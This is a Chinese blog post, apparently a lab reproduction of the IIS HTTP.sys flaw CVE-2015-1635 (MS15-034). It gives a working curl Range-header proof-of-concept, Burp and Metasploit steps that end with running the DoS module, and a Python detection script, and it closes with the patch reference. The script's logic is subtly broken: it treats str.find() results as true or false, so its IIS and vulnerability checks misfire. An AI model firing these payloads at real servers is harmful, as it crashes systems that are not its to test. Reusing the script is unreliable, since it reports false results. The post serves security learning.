CVE-2015-1635(MS15-034)-HTTP.sys远程代码执行复现

一、漏洞描述

HTTP协议栈(HTTP.sys)存在远程代码执行漏洞,是由于HTTP.sys不正确的解析HTTP请求引起的,成功利用此漏洞的攻击者可以执行系统账户上任意代码。
攻击者必须发送一个HTTP请求到受影响的系统去触发这个漏洞,通过修改Windows HTTP栈处理请求更新漏洞地址。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

二、本次复现漏洞环境

靶机:Windows Server 2008
攻击机:Kali

三、漏洞验证

方法一:curl语法验证

(1)查看能否访问目标URL
在这里插入图片描述

(2)使用curl poc验证

curl http://192.168.208.142/iisstart.htm -H "Host: 192.168.208.142" -H "Range: bytes=0-18446744073709551615"

(3)查看结果
如果出现416和Requested Range Not Satisfiable,则证明存在漏洞,反之,则不存在
在这里插入图片描述

方法二:Burpsuite验证

在请求包中添加一行:Range: bytes=0-18446744073709551615
判断方法同上
在这里插入图片描述

方法三:使用MSF验证

(1)kali打开msf:msfconsole
在这里插入图片描述
(2)在msf中搜索利用模块:search MS15-034search CVE-2015-1635
在这里插入图片描述
在这里插入图片描述

(3)选择payload模块,带有sanner的是验证模块,带有dos的是攻击模块:use 1
在这里插入图片描述

(4)设置目标IP:set rhosts xxx.xxx.xxx.xxx
注:端口号如果非80,还要修改端口号
在这里插入图片描述
出现如下所示表示不存在:
在这里插入图片描述

方法四:python poc脚本

(1)脚本代码

import requests
import sys

try:
    print("正在测试http请求,请稍等...")
    url = "http://" + sys.argv[1]
    req = requests.get(url,timeout=5)
    target_server = req.headers['Server']

    if target_server.find("IIS"):
        payload = {"Range": "bytes=0-18446744073709551615"}
        req2 = requests.get(url, headers=payload)
        #print(req2.text)
        #print(req1.request.headers)  # 输出自定义的头部信息

        if str(req2.content).find("Requested Range Not Satisfiable"):
            print("-------------------存在MS15-034漏洞-------------------")
            print("漏洞URL:"+url)

        else:
            print("Waring:不存在MS15-034漏洞")
            print("如有疑问,请手工测试...")
    else:
        print("-------------------服务器不是IIS-------------------")
except:
    try:
        print("http请求失败,正在测试http请求,请稍等...")
        url2 = "https://" + sys.argv[1]
        req = requests.get(url2, timeout=5)
        target_server = req.headers['Server']

        if target_server.find("IIS"):
            payload = {"Range": "bytes=0-18446744073709551615"}
            req2 = requests.get(url2, headers=payload)
            # print(req2.text)
            # print(req1.request.headers)  # 输出自定义的头部信息

            if str(req2.content).find("Requested Range Not Satisfiable"):
                print("-------------------存在MS15-034漏洞-------------------")
                print("漏洞URL:" + url2)

            else:
                print("Waring:不存在MS15-034漏洞")
                print("如有疑问,请手工测试...")
        else:
            print("-------------------服务器不是IIS-------------------")
        print("-------------------目标无法连接-------------------")
    except:
        print("-------------------服务器不是IIS-------------------")

(2)测试
在这里插入图片描述

四、漏洞攻击

选择之前搜索到的dos模块:use 0
在这里插入图片描述
在这里插入图片描述

五、漏洞修复

Microsoft已经为此发布了一个安全公告(MS15-034)以及相应补丁:
MS15-034:Vulnerability in HTTP.sys Could Allow Remote Code Execution (3042553)
链接:http://technet.microsoft.com/security/bulletin/MS15-034

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值